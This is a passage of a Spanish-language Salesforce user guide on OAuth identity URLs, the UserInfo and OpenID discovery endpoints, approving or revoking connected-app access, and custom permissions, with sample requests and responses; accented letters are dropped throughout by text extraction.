https://login.salesforce.com/services/oauth2/authorize?response_type=token+id_token
&redirect_uri=https://login.salesforce.com/services/oauth2/success
&client_id=3MVG9lKcPoNINVBIPJjdw1J9LLJbP_pqwoJYyuisjQhr_LLurNDv7AgQvDTZwCoZuD_
3Oxug0sU3_WrBPd_Ax6Mcnlg5HSnLGQ&scope=openid&nonce=somevalue

Utilice las claves pblicas publicadas para comprobar que la firma en la respuesta es una firma de Salesforce vlida.
1. Vaya a https://login.salesforce.com/id/keys.
La respuesta incluye informacin en formato JSON acerca de la claves pblicas utilizadas para la firma.
2. Utilice la clave con el valor kid correcto, que especifica la versin, para validar la firma.
CONSULTE TAMBIN
Flujo de agente de usuario OAuth 2.0
Flujo de autenticacin del servidor Web OAuth 2.0

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 191

URL de identidad
Adems de acceder al token, tambin se devuelve una URL de identidad como parte de una respuesta
del token, en el parmetro id de mbito.

EDICIONES

La URL de identidad es una cadena que identifica de manera nica a un usuario y una API de RESTful
que se puede utilizar para realizar una consulta (con un token de acceso vlido) para obtener
informacin adicional acerca del usuario. Salesforce devuelve informacin de personalizacin bsica
del usuario y extremos importantes con los que los clientes pueden hablar, como fotos del usuario
y extremos de API a los que puede acceder.

Disponible en: todas las


ediciones

Aunque se ofrezca a un usuario de una organizacin acceso de cliente a la URL de identidad, no se


ofrecer acceso a la URL de identifidad a los otros usuarios de la misma organizacin, a no ser que
el token asociado cumpla todas las condiciones siguientes.

Para gestionar, crear,


modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas

La solicitud de OAuth del token de acceso inclua el mbito full o api.

PERMISOS DE USUARIO

El token de acceso es para un usuario con el permiso API activada.


El token de acceso es para un usuario que tenga acceso al otro usuario de acuerdo con las reglas
de uso compartido de usuarios de la organizacin.
El token de acceso es para un usuario interno, lo que significa que el valor user_type de la respuesta es STANDARD.
De lo contrario, se necesitar un token de acceso para que cada usuario vea su URL de identidad.
El formato de la URL es: https://login.salesforce.com/id/orgID/userID, donde orgId es el Id. de la organizacin
de Salesforce a la que pertenece el usuario, y userID el Id. de usuario de Salesforce.
Nota: En un sandbox, login.salesforce.com se sustituye por test.salesforce.com.
La URL debe ser siempre HTTPS.

Parmetros de URL de identidad


Los siguientes parmetros se pueden utilizar con el token de acceso y la URL de identidad. El token de acceso se utiliza en un encabezado
de solicitud de autorizacin o en una solicitud con el parmetro oauth_token.
Parmetro

Descripcin

Token de acceso

Consulte Uso del token de acceso en la pgina 190.

Formato

Este parmetro es opcional. Especifique el formato del resultado. Los valores vlidos son:
json
xml
En lugar de utilizar el parmetro format, el cliente tambin puede especificar el formato
que se devuelve en un encabezado de solicitud de aceptacin utilizando uno de los siguientes:
Accept: application/json
Accept: application/xml
Accept: application/x-www-form-urlencoded
Tenga en cuenta lo siguiente:
Se permiten encabezados que acepten comodines. */* es compatible y devuelve JSON.

Mejora de Salesforce mediante cdigo

Parmetro

Gua del usuario | Integracin de aplicaciones con


Salesforce | 192

Descripcin
Tambin se acepta una lista de valores y se comprueba de izquierda a derecha. Por ejemplo:
application/xml,application/json,application/html,*/*

devuelve XML.
El parmetro format tiene preferencia sobre el encabezado de solicitud de aceptacin.
Versin

Este parmetro es opcional. Especifique un nmero de versin de API de SOAP o la cadena


literal latest. Si no especifica este valor, las URL de la API que se devuelven contienen el
valor literal {version}, en lugar del nmero de versin, para que el cliente realice una
sustitucin de cadenas. Si el valor se especifica como latest, se utiliza la versin de la API
ms reciente.

PrettyPrint

Este parmetro es opcional y slo se acepta en un encabezado, no como un parmetro de


URL. Especifique el resultado para aplicar un mejor formato al resultado. Por ejemplo, utilice
lo siguiente en un encabezado: X-PrettyPrint:1. Si no se especifica este valor, el
elemento XML o JSON devuelto se optimiza para el tamao en lugar de su facilidad de lectura.

Callback

Este parmetro es opcional. Especifique un nombre de funcin JavaScript vlido. Este parmetro
slo se utiliza si el formato se especifica como JSON. El resultado se contiene en este nombre
de funcin (JSONP). Por ejemplo, si una solicitud a
https://server/id/orgid/userid/ devuelve {"foo":"bar"}, una solicitud
a https://server/id/orgid/userid/?callback=baz devuelve
baz({"foo":"bar"});.

Respuesta de URL de identidad


Una solicitud vlida devuelve la siguiente informacin en formato JSON.
id: la URL de identidad (la misma URL que se ha consultado)
asserted_user: un valor booleano, que indica si se ha utilizado el token de acceso generado para esta identidad
user_id: el Id. de usuario de Salesforce
username: el nombre de usuario de Salesforce
organization_id: el Id. de organizacin de Salesforce
nick_name: el apodo de la comunidad del usuario consultado
display_name: el nombre de la vista (nombre completo) del usuario consultado
email: la direccin de correo electrnico del usuario consultado
email_verified: indica si la organizacin tiene la verificacin de correo electrnico activada (true) o no (false).
first_name: El nombre del usuario
last_name: El apellido del usuario
timezone: La zona horaria de la configuracin de usuario
photos: un mapa de las URL de la imgenes del perfil de usuario
Nota: El acceso a estas URL requiere transferir un token de acceso. Consulte Uso del token de acceso en la pgina 190.
picture
thumbnail

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 193

addr_street: La calle especificada en la direccin de la configuracin del usuario


addr_city: La ciudad especificada en la direccin de la configuracin del usuario
addr_state: El estado especificado en la direccin de la configuracin del usuario
addr_country: El pas especificado en la direccin de la configuracin del usuario
addr_zip: El cdigo postal especificado en la direccin de la configuracin del usuario
mobile_phone: El nmero de telfono mvil en la configuracin del usuario
mobile_phone_verified: El usuario ha confirmado que es un nmero de telfono mvil vlido. Consulte la descripcin del
campo de usuario de Mobile.
status: el estado actual del usuario de Chatter
created_date:xsd datetime: valor de la fecha de creacin de la ltima publicacin del usuario, por ejemplo,
2010-05-08T05:17:51.000Z
body: el cuerpo de la publicacin
urls: un mapa que contiene diferentes extremos de API que se pueden utilizar con el usuario especificado.
Nota: El acceso a los extremos de REST requiere transferir un token de acceso. Consulte Uso del token de acceso en la pgina
190.
enterprise (SOAP)
enterprise (SOAP)
enterprise (SOAP)
rest (REST)
sobjects (REST)
search (REST)
query (REST)
recent (REST)
profile
feeds (Chatter)
feed-items (Chatter)
groups (Chatter)
users (Chatter)
custom_domain: este valor se omite si la organizacin no tiene un dominio personalizado configurado y propagado.
active: un booleano que especifica si el usuario consultado est activo
user_type: el tipo de usuario consultado
language: el idioma del usuario consultado
locale: la configuracin regional del usuario consultado
utcOffset: la compensacin de UTC de la zona horaria del usuario consultado, en milisegundos
last_modified_datexsd datetime: formato de la ltima modificacin del usuario, por ejemplo,
2010-06-28T20:54:09.000Z
is_app_installed: El valor es verdadero cuando la aplicacin conectada est instalada en la organizacin del usuario
actual y el token de acceso del usuario se ha creado utilizando un flujo de OAuth. Si la aplicacin conectada no est instalada, la
propiedad no existe (en lugar de ser falso). Al analizar la respuesta, compruebe la existencia y el valor de esa propiedad.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 194

mobile_policy: valores especficos para gestionar las aplicaciones conectadas mviles. Estos valores solo estn disponibles
cuando la aplicacin conectada se instala en la organizacin del usuario actual y la aplicacin tiene un valor de tiempo de espera
de sesin definido y un valor de longitud de PIN (nmero de identificacin personal).
screen_lock: tiempo de espera para bloquear la pantalla si no hay actividad
pin_length: longitud del nmero de identificacin necesario para obtener acceso a la aplicacin mvil
push_service_type: este valor de respuesta se configura como apple si la aplicacin conectada se registra con el servicio
de notificaciones Apple Push Notification Service (APNS) para notificaciones de envo de iOS o androidGcm, si se registra con
Google Cloud Messaging (GCM) para las notificaciones de envo de Android. El tipo de valor de respuesta es una matriz.
custom_permissions: cuando una solicitud incluye el parmetro de mbito custom_permissions, la respuesta incluye
un mapa con permisos personalizados en una organizacin asociada con la aplicacin conectada. Si la aplicacin conectada no est
instalada en la organizacin o no tiene permisos personalizados asociados, la respuesta no contendr un mapa
custom_permissions. A continuacin se incluye una solicitud de ejemplo.
http://login.salesforce.com/services/oauth2/authorize?response_type=token&client_
id=3MVG9lKcPoNINVBKV6EgVJiF.snSDwh6_2wSS7BrOhHGEJkC_&redirect_uri=http://www.example.org/qa/security/oauth
/useragent_flow_callback.jsp&scope=api%20id%20custom_permissions

A continuacin se muestra el bloque JSON en la respuesta URL de identidad.


"custom_permissions":
{
"Email.View":true,
"Email.Create":false,
"Email.Delete":false
}

A continuacin se incluye una respuesta en formato XML:


<?xml version="1.0" encoding="UTF-8"?>
<user xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<id>http://na1.salesforce.com/id/00Dx0000001T0zk/005x0000001S2b9</id>
<asserted_user>true</asserted_user>
<user_id>005x0000001S2b9</user_id>
<organization_id>00Dx0000001T0zk</organization_id>
<nick_name>admin1.2777578168398293E12foofoofoofoo</nick_name>
<display_name>Alan Van</display_name>
<email>admin@2060747062579699.com</email>
<status>
<created_date xsi:nil="true"/>
<body xsi:nil="true"/>
</status>
<photos>
<picture>http://na1.salesforce.com/profilephoto/005/F</picture>
<thumbnail>http://na1.salesforce.com/profilephoto/005/T</thumbnail>
</photos>
<urls>
<enterprise>http://na1.salesforce.com/services/Soap/c/{version}/00Dx0000001T0zk
</enterprise>
<metadata>http://na1.salesforce.com/services/Soap/m/{version}/00Dx0000001T0zk
</metadata>
<partner>http://na1.salesforce.com/services/Soap/u/{version}/00Dx0000001T0zk
</partner>
<rest>http://na1.salesforce.com/services/data/v{version}/

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 195

</rest>
<sobjects>http://na1.salesforce.com/services/data/v{version}/sobjects/
</sobjects>
<search>http://na1.salesforce.com/services/data/v{version}/search/
</search>
<query>http://na1.salesforce.com/services/data/v{version}/query/
</query>
<profile>http://na1.salesforce.com/005x0000001S2b9
</profile>
</urls>
<active>true</active>
<user_type>STANDARD</user_type>
<language>en_US</language>
<locale>en_US</locale>
<utcOffset>-28800000</utcOffset>
<last_modified_date>2010-06-28T20:54:09.000Z</last_modified_date>
</user>

A continuacin se incluye una respuesta en formato JSON:


{"id":"http://na1.salesforce.com/id/00Dx0000001T0zk/005x0000001S2b9",
"asserted_user":true,
"user_id":"005x0000001S2b9",
"organization_id":"00Dx0000001T0zk",
"nick_name":"admin1.2777578168398293E12foofoofoofoo",
"display_name":"Alan Van",
"email":"admin@2060747062579699.com",
"status":{"created_date":null,"body":null},
"photos":{"picture":"http://na1.salesforce.com/profilephoto/005/F",
"thumbnail":"http://na1.salesforce.com/profilephoto/005/T"},
"urls":
{"enterprise":"http://na1.salesforce.com/services/Soap/c/{version}/00Dx0000001T0zk",
"metadata":"http://na1.salesforce.com/services/Soap/m/{version}/00Dx0000001T0zk",
"partner":"http://na1.salesforce.com/services/Soap/u/{version}/00Dx0000001T0zk",
"rest":"http://na1.salesforce.com/services/data/v{version}/",
"sobjects":"http://na1.salesforce.com/services/data/v{version}/sobjects/",
"search":"http://na1.salesforce.com/services/data/v{version}/search/",
"query":"http://na1.salesforce.com/services/data/v{version}/query/",
"profile":"http://na1.salesforce.com/005x0000001S2b9"},
"active":true,
"user_type":"STANDARD",
"language":"en_US",
"locale":"en_US",
"utcOffset":-28800000,
"last_modified_date":"2010-06-28T20:54:09.000+0000"}

Tras realizar una solicitud no vlida, Salesforce puede realizar las siguientes respuestas:
Cdigo de error

Problema de solicitud

403 (prohibido): HTTPS_Required

HTTP

403 (prohibido): Missing_OAuth_Token

Falta token de acceso

403 (prohibido): Bad_OAuth_Token

Token de acceso no vlido

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 196

Cdigo de error

Problema de solicitud

403 (prohibido): Wrong_Org

Usuarios en una organizacin diferente

404 (no se encuentra): Bad_Id

Usuario no vlido o errneo o Id. de la organizacin

404 (no se encuentra): Inactiva

Usuario desactivado u organizacin inactiva

404 (no se encuentra): No_Access

El usuario carece de un acceso adecuado a la organizacin


o a la informacin

404 (no se encuentra): No_Site_Endpoint

Solicitud a un extremo de un sitio no vlido

404 (no se encuentra): Error interno

No hay respuesta del servidor

406 (no se acepta): Invalid_Version

Versin no vlida

406 (no se acepta): Invalid_Callback

Devolucin de llamada no vlida

CONSULTE TAMBIN
Uso del token de acceso

UserInfo Endpoint
El extremos de UserInfo es una API de RESTful que se puede utilizar para consultar (con un token
de acceso vlido) informacin acerca del usuario asociado con el token de acceso en el formato
estndar de conexin de OpenID. Salesforce devuelve informacin de personalizacin bsica del
usuario y extremos importantes con los que los clientes pueden hablar, como fotos del usuario y
extremos de API a los que puede acceder. Este extremo proporciona acceso a informacin para el
usuario actual, nicamente, y no para otros usuarios en la misma organizacin.

EDICIONES
Disponible en: todas las
ediciones

PERMISOS DE USUARIO

El formato de la URL es:


https://login.salesforce.com/services/oauth2/userinfo.

Nota: En un sandbox, login.salesforce.com se sustituye por


test.salesforce.com.
La URL debe ser siempre HTTPS.

Para gestionar, crear,


modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas

Parmetros de UserInfo Endpoint


Los siguientes parmetros se pueden utilizar con el token de acceso y el extremo de UserInfo. El token de acceso se utiliza en un
encabezado de solicitud de autorizacin o en una solicitud con el parmetro oauth_token.
Parmetro

Descripcin

Token de acceso

Consulte Uso del token de acceso en la pgina 190.

Formato

Este parmetro es opcional. Especifique el formato del resultado. Los valores vlidos son:
json
xml
En lugar de utilizar el parmetro format, el cliente tambin puede especificar el formato
que se devuelve en un encabezado de solicitud de aceptacin utilizando uno de los siguientes:

Mejora de Salesforce mediante cdigo

Parmetro

Gua del usuario | Integracin de aplicaciones con


Salesforce | 197

Descripcin
Accept: application/json
Accept: application/xml
Accept: application/x-www-form-urlencoded
Tenga en cuenta lo siguiente:
Se permiten encabezados que acepten comodines. */* es compatible y devuelve JSON.
Tambin se acepta una lista de valores y se comprueba de izquierda a derecha. Por ejemplo:
application/xml,application/json,application/html,*/*

devuelve XML.
El parmetro format tiene preferencia sobre el encabezado de solicitud de aceptacin.
Versin

Este parmetro es opcional. Especifique un nmero de versin de API de SOAP o la cadena


literal latest. Si no especifica este valor, las URL de la API que se devuelven contienen el
valor literal {version}, en lugar del nmero de versin, para que el cliente realice una
sustitucin de cadenas. Si el valor se especifica como latest, se utiliza la versin de la API
ms reciente.

PrettyPrint

Este parmetro es opcional y slo se acepta en un encabezado, no como un parmetro de


URL. Especifique el resultado para aplicar un mejor formato al resultado. Por ejemplo, utilice
lo siguiente en un encabezado: X-PrettyPrint:1. Si no se especifica este valor, el
elemento XML o JSON devuelto se optimiza para el tamao en lugar de su facilidad de lectura.

Callback

Este parmetro es opcional. Especifique un nombre de funcin JavaScript vlido. Este parmetro
slo se utiliza si el formato se especifica como JSON. El resultado se contiene en este nombre
de funcin (JSONP). Por ejemplo, si una solicitud a
https://server/id/orgid/userid/ devuelve {"foo":"bar"}, una solicitud
a https://server/id/orgid/userid/?callback=baz devuelve
baz({"foo":"bar"});.

Respuesta de UserInfo Endpoint


Tras realizar una solicitud vlida, Salesforce devuelve la informacin en formato JSON, de forma predeterminada, o siempre que est
especificado en el parmetro Formato.
La respuesta incluye valores indicados en el Perfil de cliente bsico de conexin de OpenID, as como el Id. de usuario de Salesforce, el
Id. de organizacin y las URL relacionadas para perfil, noticias en tiempo real, etc.
A continuacin se incluye una respuesta en formato JSON:
{"sub":"http://login.salesforce.com/id/00Dx000.../005x000...",
"user_id":"005x000...","organization_id":"00Dx000...",
"preferred_username":"user1@1135222488950007.com",
"nickname":"user1.3860098879512678E12",
"name":"na1 LastName",
"email":"user1@1135222488950007.com",
"email_verified":true,"given_name":"na1","family_name":"LastName",
"zoneinfo":"America/Los_Angeles",
"photos":{"picture":"http://na1.salesforce.com/profilephoto/005/F","thumbnail":"http://na1.salesforce.com/profilephoto/005/T"},
"profile":"http://na1.salesforce.com/005x000...",
"picture":"http://na1.salesforce.com/profilephoto/005/F",

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 198

"address":{"country":"us"},
"urls":{"enterprise":"http://na1.salesforce.com/services/Soap/c/{version}/00Dx00...",
"
"partner":"http://na1.salesforce.com/services/Soap/u/{version}/00Dx00...",
"rest":"http://na1.salesforce.com/services/data/v{version}/",
"sobjects":"http://na1.salesforce.com/services/data/v{version}/sobjects/",
"search":"http://na1.salesforce.com/services/data/v{version}/search/",
"query":"http://na1.salesforce.com/services/data/v{version}/query/",
"recent":"http://na1.salesforce.com/services/data/v{version}/recent/",
"profile":"http://na1.salesforce.com/005x000...",
"feeds":"http://na1.salesforce.com/services/data/v{version}/chatter/feeds",
"groups":"http://na1.salesforce.com/services/data/v{version}/chatter/groups",
"users":"http://na1.salesforce.com/services/data/v{version}/chatter/users",
"feed_items":"http://na1.salesforce.com/services/data/v{version}/chatter/feed-items"},
"active":true,"user_type":"STANDARD","language":"en_US","locale":"en_US","utcOffset":-28800000,"updated_at":"2013-12-02T18:46:42.000+0000"}

A continuacin se incluye una respuesta en formato XML:


<?xml version="1.0" encoding="UTF-8"?>
<user>
<sub>http://login.salesforce.com/id/00Dx000.../005x000...</sub>
<user_id>005x000...</user_id>
<organization_id>00Dx000...</organization_id>
<preferred_username>user1@1135222488950007.com</preferred_username>
<nickname>user1.3860098879512678E12</nickname>
<name>user1 LastName</name>
<email>user1@1135222488950007.com</email>
<email_verified>true</email_verified>
<given_name>user1</given_name>
<family_name>LastName</family_name>
<zoneinfo>America/Los_Angeles</zoneinfo>
<photos>
<picture>http://na1.salesforce.com/profilephoto/005/F</picture>
<thumbnail>http://na1.salesforce.com/profilephoto/005/T</thumbnail></photos>
<profile>http://na1.salesforce.com/005x000...</profile>
<picture>http://na1.salesforce.com/profilephoto/005/F</picture>
<address>
<country>us</country>
</address>
<urls>
<enterprise>http://na1.salesforce.com/services/Soap/c/{version}/00Dx0000002rIh1</enterprise>
<metadata>http://na1.salesforce.com/services/Soap/m/{version}/00Dx0000002rIh1</metadata>
<partner>http://na1.salesforce.com/services/Soap/u/{version}/00Dx0000002rIh1</partner>
<rest>http://na1.salesforce.com/services/data/v{version}/</rest>
<sobjects>http://na1.salesforce.com/services/data/v{version}/sobjects/</sobjects>
<search>http://na1.salesforce.com/services/data/v{version}/search/</search>
<query>http://na1.salesforce.com/services/data/v{version}/query/</query>
<recent>http://na1.salesforce.com/services/data/v{version}/recent/</recent>
<profile>http://na1.salesforce.com/005x000...</profile>
<feeds>http://na1.salesforce.com/services/data/v{version}/chatter/feeds</feeds>
<groups>http://na1.salesforce.com/services/data/v{version}/chatter/groups</groups>
<users>http://na1.salesforce.com/services/data/v{version}/chatter/users</users>
<feed_items>http://na1.salesforce.com/services/data/v{version}/chatter/feed-items</feed_items>
</urls>
<active>true</active>

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 199

<user_type>STANDARD</user_type>
<language>en_US</language>
<locale>en_US</locale>
<utcOffset>-28800000</utcOffset>
<updated_at>2013-12-02T18:46:42.000Z</updated_at>
</user>

Las siguientes son respuestas posibles desde Salesforce a una solicitud no vlida.
Cdigo de error

Problema de solicitud

403 (prohibido): HTTPS_Required

HTTP

403 (prohibido): Missing_OAuth_Token

Falta token de acceso

403 (prohibido): Bad_OAuth_Token

Token de acceso no vlido

403 (prohibido): Wrong_Org

Usuarios en una organizacin diferente

404 (no se encuentra): Bad_Id

Usuario no vlido o errneo o Id. de la organizacin

404 (no se encuentra): Inactiva

Usuario desactivado u organizacin inactiva

404 (no se encuentra): No_Access

El usuario carece de un acceso adecuado a la organizacin


o a la informacin

404 (no se encuentra): No_Site_Endpoint

Solicitud a un extremo de un sitio no vlido

404 (no se encuentra): Error interno

No hay respuesta del servidor

406 (no se acepta): Invalid_Version

Versin no vlida

406 (no se acepta): Invalid_Callback

Devolucin de llamada no vlida

Extremo de deteccin de conexin OpenID


El extremo de deteccin de Conexin OpenID es una pgina esttica que puede usarse para consultar
(sin necesidad de sesin) informacin sobre la configuracin de Conexin OpenID de Salesforce.
Salesforce devuelve informacin bsica sobre extremos, mbitos admitidos y otros valores usados
para la autorizacin de Conexin OpenID.

EDICIONES
Disponible en: todas las
ediciones

El formato de la URL es:


https://login.salesforce.com/.well-known/openid-configuration.

Nota: En un sandbox, login.salesforce.com se sustituye por test.salesforce.com.


La URL debe ser siempre HTTPS.

Respuesta del extremo de deteccin de conexin OpenID


Esa solicitud de URL devuelve la informacin en formato JSON nicamente:
A continuacin se incluye una respuesta en formato JSON:
{"issuer":"https://login.salesforce.com",
"authorization_endpoint":"https://login.salesforce.com/services/oauth2/authorize",
"token_endpoint":"https://login.salesforce.com/services/oauth2/token",

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 200

"revocation_endpoint":"https://login.salesforce.com/services/oauth2/revoke",
"userinfo_endpoint":"https://login.salesforce.com/services/oauth2/userinfo",
"jwks_uri":"https://login.salesforce.com/id/keys",
"scopes_supported":["id","api","web","full","chatter_api",
"visualforce","refresh_token","openid","profile","email",
"address","phone","offline_access", "custom_permissions"],
"response_types_supported":["code","token","token id_token"],
"subject_types_supported":["public"],
"id_token_signing_alg_values_supported":["RS256"],
"display_values_supported":["page","popup","touch"],
"token_endpoint_auth_methods_supported":["client_secret_post","private_key_jwt"] }

Concesin o negacin de solicitud de acceso


Solicitud de acceso a aplicacin
La aplicacin externa que est utilizando solicita acceso a sus datos de Salesforce. Su administrador
ya ha integrado la aplicacin externa en Salesforce.
Para conceder a esta aplicacin acceso a sus datos de Salesforce, haga clic en Aceptar.
Si la descripcin de la aplicacin no coincide con la aplicacin que est utilizando actualmente o
por cualquier otro motivo no desea conceder acceso a sus datos, haga clic en Denegar.
Si el usuario que est registrado actualmente no es usted, haga clic en No es usted? para cerrar
la sesin del usuario actual e iniciar su sesin.
Slo puede otorgar acceso a una aplicacin externa un nmero especfico de veces. Normalmente,
se otorga acceso para todos los dispositivos que usa, como ordenadores porttiles o de sobremesa.
El valor predeterminado es cinco por aplicacin. Si ha alcanzado el lmite de su organizacin, al
otorgarle acceso a ella revocar automticamente el acceso al token de acceso usado por ltima
vez. El token o tokens de la aplicacin de acceso remoto que se revocarn se mostrar en la pgina.

EDICIONES
Disponible en: todas las
ediciones

PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas

Despus de otorgar acceso a una aplicacin de acceso remoto, puede revocarlo ms adelante
dirigindose a su informacin personal.
1. En la parte superior de cualquier pgina de Salesforce, haga clic en la flecha hacia abajo junto a su nombre.
2. Seleccione Mi configuracin.
3. Seleccione Personal > Detalles avanzados de usuario.
4. En la seccin Aplicaciones conectadas de OAuth, puede:
Vea informacin sobre cada aplicacin a la que se le ha concedido acceso, as como el nmero de veces y la ltima ocasin en
la que la aplicacin intent acceder a su informacin.
Nota:
Una aplicacin puede aparecer ms de una vez. Cada vez que otorga acceso a una aplicacin, obtiene un nuevo token
de acceso. Las solicitudes para la actualizacin de tokens aumentan el Recuento de uso que se muestra para
la aplicacin. Deber conceder acceso a sus datos de Salesforce desde cada dispositivo que utilice, por ejemplo, desde
su porttil y su equipo de sobremesa. El lmite predeterminado es de cinco tokens de acceso para cada aplicacin. Las
aplicaciones ms nuevas (que usen el protocolo OAuth 2.0) se aprueban automticamente para los dispositivos
adicionales despus de que haya concedido acceso una vez. Las aplicaciones de OAuth 2.0 pueden aparecer ms de
una vez. Cada fila en la tabla representa un acceso nico, por lo que si una aplicacin solicita varios tokens con diferentes
mbitos, ver la misma aplicacin varias veces.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 201

Aunque la aplicacin conectada haya intentando acceder a su informacin y haya fallado por no poder iniciar sesin,
los campos Recuento de uso y ltimo uso se actualizarn.
Haga clic en Revocar para revocar el acceso a la aplicacin. Cuando revoque la aplicacin, esta no podr usar ese token de
autorizacin en concreto para acceder a sus datos de Salesforce.
Importante: Debe revocar todos los tokens de acceso para una aplicacin concreta para evitar que acceda a sus datos
de Salesforce.

CONSULTE TAMBIN
Solicitud de acceso a aplicacin aprobada
Solicitud de acceso a aplicacin denegada

Solicitud de acceso a aplicacin aprobada


La aplicacin externa que est utilizando ha solicitado acceso a sus datos de Salesforce, y usted ha
aprobado esta solicitud. Cierre la ventana del navegador y vuelva a la aplicacin que estaba utilizando.

EDICIONES

Despus de otorgar acceso a una aplicacin de acceso remoto, puede revocarlo ms adelante
dirigindose a su informacin personal.

Disponible en: todas las


ediciones

1. En la parte superior de cualquier pgina de Salesforce, haga clic en la flecha hacia abajo junto
a su nombre.

PERMISOS DE USUARIO

2. Seleccione Mi configuracin.
3. Seleccione Personal > Detalles avanzados de usuario.
4. En la seccin Aplicaciones conectadas de OAuth, puede:
Vea informacin sobre cada aplicacin a la que se le ha concedido acceso, as como el
nmero de veces y la ltima ocasin en la que la aplicacin intent acceder a su informacin.

Para gestionar, crear,


modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas

Nota:
Una aplicacin puede aparecer ms de una vez. Cada vez que otorga acceso a
una aplicacin, obtiene un nuevo token de acceso. Las solicitudes para la
actualizacin de tokens aumentan el Recuento de uso que se muestra
para la aplicacin. Deber conceder acceso a sus datos de Salesforce desde cada
dispositivo que utilice, por ejemplo, desde su porttil y su equipo de sobremesa.
El lmite predeterminado es de cinco tokens de acceso para cada aplicacin. Las
aplicaciones ms nuevas (que usen el protocolo OAuth 2.0) se aprueban
automticamente para los dispositivos adicionales despus de que haya concedido
acceso una vez. Las aplicaciones de OAuth 2.0 pueden aparecer ms de una vez.
Cada fila en la tabla representa un acceso nico, por lo que si una aplicacin
solicita varios tokens con diferentes mbitos, ver la misma aplicacin varias veces.
Aunque la aplicacin conectada haya intentando acceder a su informacin y haya
fallado por no poder iniciar sesin, los campos Recuento de uso y ltimo
uso se actualizarn.
Haga clic en Revocar para revocar el acceso a la aplicacin. Cuando revoque la aplicacin, esta no podr usar ese token de
autorizacin en concreto para acceder a sus datos de Salesforce.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 202

Importante: Debe revocar todos los tokens de acceso para una aplicacin concreta para evitar que acceda a sus datos
de Salesforce.

CONSULTE TAMBIN
Solicitud de acceso a aplicacin denegada
Solicitud de acceso a aplicacin

Solicitud de acceso a aplicacin denegada


La aplicacin externa que est utilizando ha solicitado acceso a sus datos de Salesforce, y usted ha
denegado esta solicitud. Debe cerrar sesin en Salesforce. Puede volver a la aplicacin original.
CONSULTE TAMBIN

EDICIONES
Disponible en: todas las
ediciones

Solicitud de acceso a aplicacin aprobada


Solicitud de acceso a aplicacin

PERMISOS DE USUARIO
Para gestionar, crear,
modificar y eliminar
aplicaciones OAuth:
Gestionar aplicaciones
conectadas

Permisos personalizados
Descripcin general de permisos personalizados
Use los permisos personalizados para conceder a los usuarios acceso a los procesos o las aplicaciones
personalizados.

EDICIONES

En Salesforce, muchas funciones requieren comprobaciones de acceso que especifiquen qu


Disponible en: Enterprise
usuarios pueden acceder a determinadas funciones. La configuracin de conjuntos de permisos y
Edition, Performance
perfiles incluye opciones de acceso integradas para muchas entidades, como objetos, campos,
Edition, Unlimited Edition y
fichas y pginas de Visualforce. No obstante, los conjuntos de permisos y perfiles no incluyen el
Developer Edition
acceso al algunos procesos y aplicaciones personalizados. Por ejemplo, en el caso de una aplicacin
de gestin de vacaciones, es posible que todos los usuarios necesiten poder enviar solicitudes de
vacaciones, pero solo un pequeo conjunto de usuarios debe aprobar las solicitudes de vacaciones. Puede usar permisos personalizados
para estos tipos de controles.
Los permisos personalizados permiten definir comprobaciones de acceso que se pueden asignar a los usuarios mediante conjuntos de
permisos o perfiles de un modo similar a la asignacin de permisos de usuario y otras configuraciones de acceso. Por ejemplo, puede
definir comprobaciones de acceso en Apex, lo que incluye un botn en una pgina de Visualforce solo si el usuario tiene el permiso
personalizado correspondiente.
Puede consultar los permisos personalizados de las siguientes formas.
Para determinar qu usuarios tienen acceso a un permiso personalizado especfico, use el lenguaje de consulta de objetos Salesforce
Object Query Language (SOQL) con los elementos sObject SetupEntityAccess y CustomPermission.

Mejora de Salesforce mediante cdigo

Gua del usuario | Integracin de aplicaciones con


Salesforce | 203

Para determinar qu permisos personalizados tienen los usuarios cuando se autentican en una aplicacin conectada, consulte la
direccin URL de identidad del usuario que proporciona Salesforce con el token de acceso para la aplicacin conectada.
CONSULTE TAMBIN
Creacin de permisos personalizados
Agregar o eliminar permisos personalizados necesarios
URL de identidad

Creacin de permisos personalizados


Cree permisos personalizados para conceder a los usuarios acceso a los procesos o las aplicaciones
personalizados.
1. En Configuracin, haga clic en Desarrollo > Permisos personalizados.
2. Haga clic en Nuevo.
3. Introduzca la informacin del permiso.

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition y
Developer Edition

Etiqueta: etiqueta del permiso que se muestra en los conjuntos de permisos.


Nombre: nombre nico usado por la API y los paquetes gestionados.
Descripcin: opcionalmente, una descripcin en la que se explica a qu funciones
conceden acceso los permisos (por ejemplo, Aprobar solicitudes de vacaciones).
Aplicacin conectada: opcionalmente, aplicacin conectada asociada a este
permiso.

PERMISOS DE USUARIO
Para crear permisos
personalizados:
Personalizar aplicacin

4. Haga clic en Guardar.


CONSULTE TAMBIN
Descripcin general de permisos personalizados

Modificacin de permisos personalizados


Modifique los permisos personalizados para conceder a los usuarios acceso a los procesos o las
aplicaciones personalizados.
1. En Configuracin, haga clic en Desarrollo > Permisos personalizados.
2. Haga clic en Modificar junto al permiso que necesita cambiar.
3. Modifique la informacin del permiso segn sea necesario.

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition y
Developer Edition

Etiqueta: etiqueta del permiso que se muestra en los conjuntos de permisos.


Nombre: nombre nico usado por la API y los paquetes gestionados.
